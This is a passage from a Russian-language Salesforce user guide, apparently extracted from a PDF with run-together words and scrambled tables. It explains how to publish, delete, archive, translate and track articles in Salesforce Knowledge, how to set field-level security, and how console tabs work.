1. Откройте вкладку «Управление статьями», воспользуйтесь областью «Просмотр»
для фильтрации статей, выберите нужную статью и нажмите кнопку
«Опубликовать...». Илинажмитекнопку «Опубликовать...»настраницепросмотра
или редактирования сведений о статье.

2. Выберите «Опубликовать статьи!». Чтобывыбратьдатупубликациистатьи, выберите
«Запланировать публикацию на:».

3. Если статья была опубликована ранее, установите флажок «Пометить как новая
версия», чтобы отображать значок новой статьи ( ) напротив статьи в выбранных
каналах. Пользователи каналов смогут определять статьи, измененные после
последнегопросмотра. Данныйфлажокнедоступенприпервоначальнойпубликации
статьи, так как значок отображается для новых статей по умолчанию.

Черновик, являющийся рабочей копией опубликованной статьи, публикуется как
новая версия исходной статьи.

4. Нажмите кнопку «OK».

Статьи, публикация которых запланирована на более позднюю дату, отображаются в
представлении «Черновые статьи», но со значком ожидания ( ) напротив заголовка
статьи. Чтобы просмотреть дату публикации, наведите указатель мыши на значок.

Прим.:

• Назначение статьи, публикация которой запланирована на более позднюю
дату, инициирует отмену запланированной публикации.

• Планирование публикации инициирует удаление любых сведений о
назначении. Пользователь, запланировавшийпубликацию, назначается статье.

• Одновременное выполнение действий разными пользователями над одними
и теми же статьями может инициировать возникновение конфликтов. В
зависимости от того, кто выполняет первое действие, статьи будут недоступны
другим пользователям даже в случае их отображения в списке статей.
Выполнение действия над данными статьями инициирует отображение
сообщения об ошибке.

• Кнопки «Опубликовать...» и «Отправить на утверждение» отображаются
только при назначении пользователю действия «Опубликовать статьи» и
настройке процесса утверждения статьи.
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Совет: Чтобы отменить запланированную публикацию, нажмите кнопку «Отмена публикации» на странице
просмотра или редактирования сведений о статье или переводе.

СМ. ТАКЖЕ:

Терминология Salesforce Knowledge

Назначение черновых статей

Просмотр статей

Создание и редактирование статей

Удаление статей и переводов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления черновых,
опубликованных или
архивный статей:
• «Управление статьями»

И

«Чтение»,
«Редактирование» и
«Удаление» для типа
статьи

Удаление статьи или перевода инициирует его необратимое удаление из базы знаний.
Пользователи могут удалять черновые статьи, черновые переводы статей и архивные
статьи.

Прим.:

• To delete published article and translations, first remove them from publication by
choosing edit or archive.

• Когдапользовательбез доступа к удалениюотменяетправку вопубликованной
статье, вновь созданный черновик статьи не удаляется автоматически.

Чтобы удалить статью или перевод, выполните указанные ниже действия.

1. Выберите вложенную вкладку «Статьи» в области «Просмотр» на вкладке
«Управление статьями».

2. Установите переключатель «Черновые статьи» или «Архивные статьи», выберите
нужную статью и нажмите кнопку «Удалить». Или нажмите кнопку «Удалить» на
странице сведений о черновой статье, архивной статье или черновом переводе.

3. Нажмите кнопку «OK».

Удаленные статьиперемещаются в корзину, откуда принеобходимостионимогут быть
восстановлены. Переводы, удаленныевместе со статьей, такжеперемещаютсяв корзину.
Обратите внимание, что перевод, удаленный отдельно от статьи, не может быть
восстановлен. Удаление статьи или перевода, изменяемого другим пользователем или
системой во время удаления, может быть прервано. В этом случае отображается
сообщение об ошибке.

Прим.:

• Одновременное выполнение действий разными пользователями над одними
и теми же статьями может инициировать возникновение конфликтов. В
зависимости от того, кто выполняет первое действие, статьи будут недоступны
другим пользователям даже в случае их отображения в списке статей.
Выполнение действия над данными статьями инициирует отображение
сообщения об ошибке.

• Удаление черновой статьи, являющейся рабочей копией опубликованной
статьи, не влияет на исходную опубликованную версию, но инициирует
необратимоеудалениечерновойверсии. Онанеперемещаетсявкорзину. Чтобы
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продолжить работу над черновой копией, рекомендуем изменить опубликованную версию.

• Когдапользовательбездоступак удалениюотменяетправку вопубликованнойстатье, вновьсозданныйчерновик
статьи не удаляется автоматически.

СМ. ТАКЖЕ:

Терминология Salesforce Knowledge

Архивирование статей и переводов
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Управление статьями и переводами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления статей:
• «Управление статьями»

И

«Создание», «Чтение»,
«Редактирование» или
«Удаление» для типа
статьи

Для публикации или
архивирования статей:
• «Управление статьями»

И

«Создание», «Чтение»,
«Редактирование» и
«Удаление» для типа
статьи

Для отправки статей на
перевод:
• «Управление статьями»

И

«Создание», «Чтение» и
«Редактирование» для
типа статьи

Для отправки статей на
утверждение:
• Полномочия

определяются
параметрами процесса
утверждения

Вкладка «Управление статьями» — это начальная страница для работы со статьями на
протяжении всего процесса публикации, так как позволяет создавать, назначать,
переводить, публиковатьи архивировать статьи. Выполнениенекоторыхзадачдоступно
только при назначении соответствующих полномочий для типа статьи и действий над
статьей.

ОписаниеДействие над статьей

Публикация статей.Опубликовать статьи

Публикация переведенных статей.Опубликовать переведенные статьи

Отправка статей на перевод.Отправить статьи на перевод

Архивирование статей, включая
переведенные статьи.

Архивировать статьи

По умолчанию вкладка «Управление статьями» отображает представление «Статьи».

Процесс публикации статей
Процесс публикации статей представлен ниже в виде схемы.

1. Создайте и сохраните новую статью.

2. При необходимости переназначьте статью редактору, переводчику, эксперту или
любому другому соавтору. Данный пользователь сможет переназначать статью
неограниченное количество раз, пока содержимое статьи не будет готово для
публикации. Если типу статьи задан процесс утверждения, то статья должна быть
отправлена текущим или назначенным пользователем на утверждение. Статья
отправляетсяодномуилинесколькимответственнымза утверждение, которыемогут
ее принять или отклонить.

3. В зависимости от доступных целевых аудиторий, опубликуйте готовый черновик
как минимум в один канал: вкладка «Статьи» в организации Salesforce, клиентский
портал, партнерский портал или общедоступная база знаний. При необходимости
запланируйте публикацию статьи на нужную дату.

4. При необходимости обновите статью. Чтобы изменить опубликованную статью,
отмените публикацию статьи (исходная статья недоступна другим пользователям)
или создайте копию опубликованной исходной статьи (обновленная статья заменяет исходную статью).

5. Чтобыудалитьустаревшуюстатьюизпубликации, заархивируйтенужнуюстатью. Подобнопубликации, архивирование
может быть выполнено незамедлительно или запланировано на нужную дату.

6. При необходимости удалите статью или преобразуйте ее в черновик и повторите процесс публикации.

Выбор статей для просмотра
Чтобы выбрать статьи, которые должны отображаться в списковом представлении, воспользуйтесь боковой панелью.

• Установитепереключатель«Черновыестатьи», «Опубликованныестатьи»или «Архивныестатьи»вобласти «Просмотр».
Черновые статьи могут быть отфильтрованы по назначению: текущему или любому пользователю (все черновые
статьи организации).
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• Откройте вложеннуювкладку «Переводы» в области «Просмотр» и установите переключатель «Черновыепереводы»
или «Опубликованные переводы». Черновые переводы могут быть отфильтрованы по назначению: текущему
пользователю, очереди перевода или любому пользователю (все черновые переводы организации).

• Чтобы уточнить текущее представление, рекомендуем выбрать язык статьи и добавить ключевое слово или фразу в
поле «Поиск по представлению». Поле «Поиск по представлению» недоступно для архивных статей.

• Чтобы отфильтровать текущее представление, выберите нужную категорию в раскрывающемся меню области
«Фильтр».

Выбор столбцов
Чтобы изменить список отображаемых столбцов, нажмите кнопку «Столбцы». Ниже перечислены столбцы, которые
могут отображаться в выбранном представлении.

ПредставлениеОписаниеСтолбец

Все статьи и переводыОтображение действий, доступных
пользователю над статьей или
переводом.

Действие

Опубликованные и архивные статьи и
опубликованные переводы

Средний рейтинг от пользователей
внутренней организации Salesforce,
клиентского портала, партнерского

Рейтинги всех пользователей

портала и общедоступной базы
знаний.

Архивные статьиДата архивирования статьи.Дата архивирования

Все статьи и переводыУникальный номер, назначаемый
статье автоматически.

Номер статьи

Все статьиЩелкните для просмотра статьи.Заголовок статьи

Черновые статьи и переводыПользователь, назначенный статье.Назначено

Черновые статьи и переводыИнструкции по назначению.Сведения о назначении

Черновые статьи и переводыДата завершения работы над статьей.
Если работа не завершена до

Крайний срок назначения

наступления крайнего срока, то
значение данного столбца
отображается красным цветом.

Черновые статьи и переводыДата создания статьи.Дата создания

Опубликованные и архивные статьи и
опубликованные переводы

Средний рейтинг от пользователей
клиентскогопорталаиобщедоступной
базы знаний.

Рейтинги клиентов

ЧерновыеиопубликованныепереводыЯзык перевода статьи.Язык

ЧерновыеиопубликованныепереводыДата и тип последнего действия над
переводом.

Последнее действие
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ПредставлениеОписаниеСтолбец

Черновые статьи и переводыИмя пользователя, обновившего
статью последним.

Последнее изменение сделано

Все статьи и переводыДата последнего редактирования
статьи.

Дата последнего изменения

Опубликованные и архивные статьи и
опубликованные переводы

Среднее количество просмотров
пользователями внутренней
организации Salesforce, клиентского

Самое популярное среди всех
пользователей

портала, партнерского портала и
общедоступной базы знаний.

Опубликованные и архивные статьи и
опубликованные переводы

Среднее количество просмотров
пользователями клиентского портала
и общедоступной базы знаний.

Самое популярное среди клиентов

Опубликованные и архивные статьи и
опубликованные переводы

Среднее количество просмотров
пользователямипартнерскогопортала
и общедоступной базы знаний.

Самое популярное среди партнеров

Опубликованные и архивные статьи и
опубликованные переводы

Средний рейтинг от пользователей
партнерского портала и
общедоступной базы знаний.

Рейтинги партнеров

Опубликованные статьи и переводыДата публикации статьи.Дата публикации

ЧерновыеиопубликованныепереводыИсходная статья до перевода. Чтобы
просмотреть статью, щелкните
заголовок нужной статьи.

Исходная статья

ЧерновыеиопубликованныепереводыЗаголовокпереведеннойстатьи. Чтобы
изменитьперевод, щелкнитезаголовок
нужного перевода.

Переведенная статья

Статьи, отправленные на переводСтатус в процессе перевода. Чтобы
просмотреть статус каждого перевода,

Статус перевода

наведите указатель мыши на нужный
значок. Если перевод опубликован, то
пользователю доступны отдельные
вкладки для черновых и
опубликованных переводов.

Все статьиТип статьи, определяющий ее
содержимое (например, «Вопросы и
ответы» или «Описание продукта»).

Тип

Все статьи и переводы (если включена
поддержка)

Данный столбец указывает на то, было
ли проверено содержимое статьи.

Статус проверки

Все статьиВерсия статьи. Чтобы просмотреть
сведения о других версиях статьи,

Версия
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ПредставлениеОписаниеСтолбец

наведите указатель мыши на номер
нужной версии.

Задачи управления статьями и переводами
Чтобы создать и управлять статьями и переводами, выполните указанные ниже действия.

• Чтобынайти статьюилиперевод, введите поисковый запрос или воспользуйтесь раскрывающимсяменюкатегорий.

• Чтобы создать статью, нажмите кнопку «Создать».

• Чтобы предоставить доступ в выбранных каналах, выберите нужную статью или перевод и нажмите кнопку
«Опубликовать…». Кнопки «Опубликовать...» и «Отправить на утверждение» отображаются только при
назначении пользователю действия «Опубликовать статьи» и настройке процесса утверждения статьи.

• Чтобы изменить содержимое или свойства, щелкните ссылку «Правка» напротив нужной статьи или перевода.

• Чтобы открыть окно предварительного просмотра, щелкните ссылку «Предварительный просмотр» напротив
нужнойстатьиилиперевода. Выберителюбойнужныйканал, кромеобщедоступнойбазызнаний, враскрывающемся
меню «Канал».

Прим.: Припредварительномпросмотре статьибазызнанийпользователюнедоступноголосованиеисведения
Chatter.

• Чтобы просмотреть список других версий, щелкните номер нужной версии статьи или перевода.

• Чтобы изменить ответственного, выберите нужную статью или перевод и нажмите кнопку «Назначить...».

• Чтобы удалить статью или перевод, выберите нужную статью или перевод и нажмите кнопку «Удалить».

• Чтобы заархивировать опубликованную статью, выберите нужную статью и нажмите кнопку «Архивировать...».

• Приналичиимногоязычнойподдержки Salesforce Knowledge выберитенужнуюстатьюинажмитекнопку «Отправить
на перевод...».

Отправка статей на перевод
Кнопка «Отправить на перевод...» доступна только при наличии многоязычной поддержки.

Чтобы отправить статьи на перевод посредством вкладки «Управление статьями», выполните указанные ниже действия.

1. Выберите нужную статью и нажмите кнопку «Отправить на перевод...».

2. При необходимости выберите крайний срок для одного или всех переводов. Крайний срок может быть выбран для
каждого языка.

Крайние сроки отображаются в списковом представлении «Переводы». Если перевод не завершен до наступления
крайнего срока, то значение данного поля отображается красным цветом.

3. Выберите язык, поддерживаемый базой знаний.

4. При необходимости измените назначенного. Статья может быть назначена другому пользователю базы знаний (для
перевода) или очереди (для экспорта поставщику перевода).

5. Чтобыотправитьназначеннымэлектронноеуведомление, установитефлажок «Отправить электронное уведомление».

6. Нажмите кнопку «Сохранить».

Управлениеотправленнымипереводамидоступнонавкладке «Управлениестатьями» толькоприналичииполномочия
«Управление статьями». Чтобы просмотреть отправленные переводы, откройте вложенную вкладку «Переводы» в
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области «Просмотр». Данная вкладка позволяет редактировать, публиковать, назначать, удалять и открывать переводы
для предварительного просмотра.

Совет: Область «Связанные ссылки» вкладки «Управление статьями» позволяет открывать страницы настройки
функцийэкспортастатейдляперевода («Экспортстатейдляперевода») иимпортапереводов («Импортпереводов
статьи»).

СМ. ТАКЖЕ:

Терминология Salesforce Knowledge

Публикация статей и переводов

Создание и редактирование статей

Поиск статей

Просмотр статей

Вкладка «Статьи» или «База знаний»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра статей:
• «Чтение» для типа

статьи

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Данный раздел позволяет определить используемую вкладку Salesforce Knowledge и
просмотреть действия, доступные на каждой вкладке.

Поиск статей Salesforce Knowledge поддерживается двумя вкладками: «База знаний» и
«Статьи». Вкладка, используемая организацией, определяется временем включения
компонента Salesforce Knowledge или доступностью вкладки «База знаний» для
применения.

Вкладка «База знаний»

Полепоиска, отображаемое вверху страницы, указываетнаиспользованиевкладки «База
знаний».
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Вкладка «База знаний» объединяет функции устаревшей вкладки «Статьи» и вкладки «Управление статьями», а также
использует интегрированныйпоиск для одновременногопоиска всех ресурсов. Нижеперечисленыдействия, доступные
на вкладке «База знаний».

• Поиск по всем статьям Salesforce Knowledge и любым внешним источникам данных (например, Microsoft® SharePoint®).

• Фильтрация статей по языку и категориям данных.

• Сортировка статей по дате публикации, рейтингу, самому популярному и заголовку.

• Использование раскрывающегося списка «Создать статью» для выбора типа статьи и создания статьи.

• Использование раскрывающегося списка напротив каждой статьи для начала отслеживания, отмены отслеживания,
редактирования, публикации или удаления статьи при наличии соответствующих полномочий.

Кроме того, прииспользованиилентыобращениймакет вкладки «База знаний» применяется к боковойпанели «Статьи».

Чтобызаменитьустаревшуювкладкувкладкой «База знаний», администратордолжендобавитьполномочие «Knowledge
One» в профиль или набор полномочий пользователя.

Вкладка «Статьи»

Поле поиска, отображаемое на левой боковой панели страницы, указывает на использование вкладки «Статьи».

Вкладка «Статьи» содержит списокопубликованныхстатей Salesforce Knowledge. Нижеперечисленыдействия, доступные
на вкладке «Статьи».

• Поиск опубликованных статей

• Просмотр опубликованных статей

• Создание статьи

• Настройка отображаемых сведений о статьях

Прим.:  Community members without the Knowledge One permission cannot access Knowledge through Communities. They
also can’t access Knowledge in communities via the Salesforce1 mobile browser and downloadable apps.

СМ. ТАКЖЕ:

Общие сведения о Salesforce Knowledge

Создание и редактирование статей

Поиск статей

Просмотр статей
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Настройка вкладки «Статьи»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра статей:
• «Чтение» для типа

статьи

Выберите отображаемые сведения о статьях и используйте их для сортировки статей.

Стандартное списковое представление вкладки «Статьи» содержит статьи, созданные
илиобновленные в течениепоследних 30 дней. Чтобывыбрать отображаемые сведения
о статьяхииспользоватьихдля сортировкистатей, выполните указанныенижедействия.

1. Щелкните раскрывающийся список «Столбцы».

2. Щелкните нужные сведения о статьях.

Новые столбцы добавляются в список статей крайними справа. Ниже перечислены
доступные столбцы.

ОписаниеСтолбец

Средний рейтинг, назначенный статье агентами базы знаний
посредством внутреннего приложения.

Рейтинги
агентов

Средний рейтинг, назначенный агентами базы знаний,
партнерами и клиентами. Статьи не могут оцениваться
посетителями общедоступной базы знаний. Дополнительную
информацию о рейтингах пользователей см. в разделе
«Просмотр статей» на странице 2539.

Рейтинги всех
пользователей

Уникальный номер, назначаемый статье автоматически.
Нумерация статей начинается со значения «000001000». Формат

Номер статьи

и нумерация, используемые в данном поле, не могут быть
изменены.

Заголовок статьи. Данный столбец не может быть удален.Заголовокстатьи

Средний рейтинг, назначенный статье клиентами. Данный
столбец отображается только при публикации статей
посредством клиентского портала.

Рейтинги
клиентов

Сравнительный показатель, вычисляемый путем добавления
просмотров агентами базы знаний.

Самое
популярное
среди агентов

Сравнительный показатель, вычисляемый путем добавления
просмотров из всех соответствующих каналов: агенты базы

Самое
популярное

знаний (внутренние пользователи), пользователи клиентскогосреди всех
пользователей портала, пользователи партнерского портала и посетители

общедоступной базы знаний.

Сравнительный показатель, вычисляемый путем добавления
просмотров пользователями клиентского портала.

Самое
популярное
среди клиентов

Сравнительный показатель, вычисляемый путем добавления
просмотров пользователями партнерского портала.

Самое
популярное
средипартнеров
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ОписаниеСтолбец

Сравнительный показатель, вычисляемый путем добавления просмотров посетителями
общедоступной базы знаний.

Самое популярное
среди посетителей

Флажок, указывающий на просмотр статьи.Новое

Среднийрейтинг, назначенныйстатьепартнерами. Данныйстолбецотображается только
при публикации статей посредством партнерского портала.

Рейтинги партнеров

Дата публикации статьи.Дата публикации

Тип, назначенный статье. Типы статей определяют содержимое иформат каждой статьи.Тип

Данный столбец указывает на то, было ли проверено содержимое статьи.Статус проверки

Прим.: Разрешается выбирать только один информационный столбец.

3. Чтобы изменить порядок отображения столбцов, перетащите их заголовки.

4. Чтобы отсортировать содержимое списка по значению столбца, щелкните заголовок нужного столбца.

Сортировка может быть выполнена по любому столбцу, кроме столбца «Тип».

5. Чтобы изменить количество статей, отображаемых на странице, щелкните стрелку внизу страницы.

СМ. ТАКЖЕ:

Вкладка «Статьи» или «База знаний»

Общие сведения о Salesforce Knowledge
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Перевод статей в Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для работы с
переведенными статьями:
• «Управление статьями»

И

«Создание», «Чтение»,
«Редактирование» или
«Удаление» для типа
статьи (в зависимости от
действия)

В зависимости от статуса перевода и действий над статьей, назначенных пользователю,
страница сведений о переводе может содержать указанные ниже элементы
пользовательского интерфейса.

Статус статьиОписаниеДействие

Прежде чем архивировать
перевод, рекомендуем
заархивировать основную
статью.

Архивирование
инициирует удаление
устаревших
опубликованныхпереводов
иихнедоступность агентам
и клиентам в каналах
Salesforce Knowledge,
используемых
организацией.

Архивировать

Черновые переводыНазначение инициирует
изменение ответственного
за перевод.

Назначить...

Черновые переводыУдаление перевода
инициирует его
необратимое удаление из
базы знаний.

Удалить

Прим.: Черновой
перевод не может
быть восстановлен.

Черновые и
опубликованные переводы

Редактирование
инициирует изменение
содержимого или свойств
перевода.

Правка

Черновые и
опубликованные переводы

Предварительный
просмотр отображает
перевод в готовом виде.

Предварительный
просмотр

Прим.: При
предварительном
просмотре статьи
базы знаний
пользователю
недоступно
голосование и
сведения Chatter.

Черновые переводыОпубликованныепереводы
доступны во всех
выбранных каналах.

Опубликовать...
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Чтобы перевести статью в системе Salesforce, выполните указанные ниже действия.

1. Выберите вложенную вкладку «Переводы» в области «Просмотр» на вкладке «Управление статьями».

2. Установите переключатель «Черновые переводы».

3. Чтобыпросмотретьстатьи, назначенныедругимпользователямдляперевода, изменитезначениефильтра «Назначено».
Например, пользователь может просмотреть статьи, назначенные очереди переводов.

4. Щелкните ссылку «Правка» напротив нужной статьи и выберите язык перевода.

5. Введите перевод.

6. Нажмите кнопку «Сохранить».

Прим.: При необходимости измените опубликованный перевод. Переводу назначается статус черновика,
которыйотменяется толькопослеегоповторнойпубликации; принеобходимостипереводможетбытьобновлен
без отмены публикации текущей версии.

Отслеживание журнала статьи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
типов статей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Некоторыеполястатейдоступныдляотслеживания. Еслиувас включеноотслеживание
историидля типа статьии ееполей, откройте статьюнужного типаищелкнитеВерсия,
чтобы увидеть список журнала версий. Если отслеживание настроено для типа статьи,
то пользователи могут отслеживать полный журнал статьи и ее версий. Период
отслеживания событий статьи составляет не более 18 месяцев.

Система записывает и отображает обновления полей, события бизнес-правил по
публикации, языковые версии основной статьи и все переводы.При отслеживании
устаревших и новых значений система записывает оба значения, а также дату, время,
характери автора изменения. Приотслеживании толькоизмененных значений система
помечает измененное поле в качестве отредактированного; запись устаревших и новых
значений поля не выполняется. Данные сведения доступны в списке «Журнал версии»,
а поля доступны в отчете «Журнал версии статьи».

Журнал статьи соблюдает параметры безопасности на уровне поля, объекта и записи.
Журналможетбытьпросмотрентолькоприналичиикакминимумполномочия «Чтение»
для типа статьи или поля. При использовании параметров безопасности категорий
данных система Salesforce определяет уровень доступа на основе категоризации
интерактивной версии статьи. В случае отсутствия интерактивной версии параметры
безопасности применяются на основе архивной версии, при отсутствии которой
используются параметры безопасности черновой версии.

1. Введите строку «Параметры базы знаний» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Типы статей баз знаний».

2. Создайте тип статьи или измените текущий тип статьи в списке «Типы статей».

3. Нажмите кнопку «Настроить отслеживаниежурналов».

4. Выберите нужные поля.
Отслеживаниежурнала запускается системойSalesforceнезамедлительно. Изменения,
внесенные ранее, не отслеживаются.

5. Нажмите кнопку «Сохранить».
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Настройка параметров безопасности поля статьи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
безопасности поля:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Параметры безопасности поля позволяют администраторам ограничить доступ
пользователей к определенным полям на страницах просмотра и редактирования
сведений. Например, поле статьи «Комментарий» может быть доступно профилям
внутреннего приложения и недоступно профилям клиентского портала.

Если доступность поля определяетсямакетом типа статьиипараметрамибезопасности
поля, то система всегда применяет самые строгие параметры доступа. Например, если
полескрытовмакететипастатьи, ноотображаетсяпосредствомпараметровбезопасности
поля, то макет переопределяет параметры безопасности, а поле не отображается.
Некоторые полномочия пользователя переопределяют макеты страниц и параметры
безопасности поля. Например, пользователи с полномочием «Редактирование полей
только для чтения» всегда могут редактировать поля, доступные только для чтения,
независимо от любых других параметров.

Важное замечание: Безопасность поля не препятствует поиску значений в поле.
Есликритериипоискасоответствуютзначениямполей, защищенныхпараметрами
безопасности, торезультатыпоискавозвращаютсвязанныезаписибеззащищенных
полей и их значений.

Чтобы задать параметры безопасности поля, выполните указанные ниже действия.

1. Определите параметры безопасности посредством набора полномочий, профиля
или поля.

• Для наборов полномочий или профилей:

a. В меню «Настройка» выполните одно из следующих действий.

– Введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Наборы полномочий».

– Введите строку «Профили» в поле «Быстрый поиск» и выберите пункт
«Профили».

b. Выберите нужный набор полномочий или профиль.

c. В зависимости от используемого типа интерфейса, выполните одно из указанных ниже действий.

– Наборы полномочий или расширенный пользовательский интерфейс профиля: введите имя объекта в
поле «Поиск параметров…» и выберите нужный объект из списка. Нажмите кнопку «Правка» и
прокрутите страницу до раздела «Полномочия поля».

– Исходный пользовательский интерфейс профиля: щелкните ссылку «Просмотр» напротив нужного
объекта в разделе «Безопасность поля» и нажмите кнопку «Правка».

• Для полей:

a. В разделе «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск», затем выберите «Типы
статей баз знаний».

b. Выберите тип статьи, содержащий нужное поле.

c. Выберите нужное поле и нажмите кнопку «Настроить параметры безопасности полей».

2. Укажите уровень доступа к полю.
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Прим.: Данныепараметрыдоступакполюпереопределяютлюбыеменеестрогиепараметрыдоступадлямакетов
типа статьи.

3. Нажмите кнопку «Сохранить».

Чтобы систематизироватьполяна страницахпросмотраиредактирования сведений, изменитемакеты типа статьипосле
настройки параметров безопасности поля.

Использование универсальных служб поддержки

Использование консоли Salesforce

Использование консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Расширенный интерфейс консоли, предназначенный для эффективной обработки
записей, позволяет значительно экономить время при выполнении многих задач.

В отличие от стандартных страниц Salesforce, все элементы, выбираемые на консоли,
отображаются в виде вкладок. Ниже перечислены действия, доступные на консоли.

• Одновременная обработка большого количества записей

• Просмотр недавно использованных вкладок и закладок

• Изменение размера фиксированных списков для просмотра дополнительной
информации

• Быстрое перемещение посредством клавиш быстрого доступа

• Использование нескольких мониторов

Подобно панели мониторинга, интерфейс консоли позволяет систематизировать все
связанные данные на одном экране и выполнять действия ниже.

• Поиск записей

• Добавление примечаний для записей посредством журнала взаимодействия

• Отображение времени редактирования просматриваемых записей другими
пользователями

• Использование программного телефона для обработки вызовов

Нижеперечисленыдополнительныедействия, доступныенаконсоли Salesforce for Service.

• Поиск статей Salesforce Knowledge для принятия решений по обращениям

• Общение с клиентами посредством Live Agent

Прим.: Если администратор добавляет настраиваемые компоненты консоли, то
боковыепанелиинижниеколонтитулыконсолимогут содержатьдополнительные
функции.
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Вкладки консоли Salesforce

ВЕРСИИ

Консоль Salesforce
доступна в Salesforce
Classic и в средстве запуска
приложений Lightning
Experience. Настройки для
консоли Salesforce см. в
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Любые элементы, выбранные на консоли, отображаются в виде вкладок. Вкладки
позволяют просмотреть всю необходимую информацию на одном экране.

Вкладки консоли

(1) Вкладка «Навигация» позволяетвыбиратьобъектыизаписидляобработки. (2) Основныевкладкиотображаютосновные
рабочие элементы на консоли (например, организация). (3) Вложенные вкладки отображают связанные элементы для
основной вкладки (например, контакт организации). Вкладки позволяют пользователям перемещаться по консоли.

Внимание: Консольнеподдерживает кнопкиобозревателей «Назад», которыемогутработатьнекорректно. Вкладки
консоли сохраняются на вкладках обозревателя до их закрытия пользователем.

Закрытиевкладокобозревателяинициирует закрытиеоткрытыхвкладокконсоли. Еслифункциясохранениясеансов
включена администратором, то при повторном входе в систему Salesforce автоматически отображаются любые
открытые ранее вкладки и компоненты консоли. Кроме того, данная функция позволяет сохранять и отображать
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следующиенастройки: изменениеразмера любого компонента боковойпанелиилижурнала взаимодействия либо
сокрытие верхнего колонтитула глобального поиска.

Если пользователь выходит из системы Salesforce, а затем входит в одно и то же окно, будут отображены вкладки,
открытые во время предыдущего сеанса, даже если параметр «Сохранить сеансы пользователя» отключен.

СМ. ТАКЖЕ:

Использование консоли Salesforce

Просмотр закладок или недавно использованных вкладок на консоли Salesforce

Вкладка «Навигация» консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Вкладка «Навигация» позволяет выбирать объект и просматривать его начальную
страницу.

Вкладка «Навигация» консоли
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Каждая консольотображаетодну вкладку «Навигация». Списокобъектов, доступныхна вкладке «Навигация», определяется
администратором. Чтобыскрыть, показатьилисистематизироватьобъекты, нажмитекнопку «Настройкамоихвкладок»
(при ее наличии).

Начальныестраницымногихобъектов, выбранныхнавкладке «Навигация», содержат списковыепредставления, которые
автоматическиотображаются в виде расширенных списков. Вкладка «Навигация» не отображает прогнозы, идеи, ответы,
подключения, порталы, консоли и кнопки для настройки организации.

СМ. ТАКЖЕ:

Вкладки консоли Salesforce

Использование консоли Salesforce

Рекомендации по работе с вкладками консоли Salesforce

ВЕРСИИ

Salesforce console available
in Salesforce Classic and
App Launcher in Lightning
Experience. Setup for
Salesforce console available
in Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Доступно в версиях:
Performance Edition и
Developer Edition с
консолью Sales Cloud.

Доступно в версиях:
Enterprise Edition и
Unlimited Edition с
консолью Sales Cloud (за
дополнительную плату).

Просмотритерекомендациипоэффективномуиспользованиюосновныхивложенных
вкладок консоли.

Основные и вложенные вкладки консоли
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(1) Основная вкладка — этоосновнойрабочийэлемент (например, организация). (2) Вложенная вкладка — это связанный
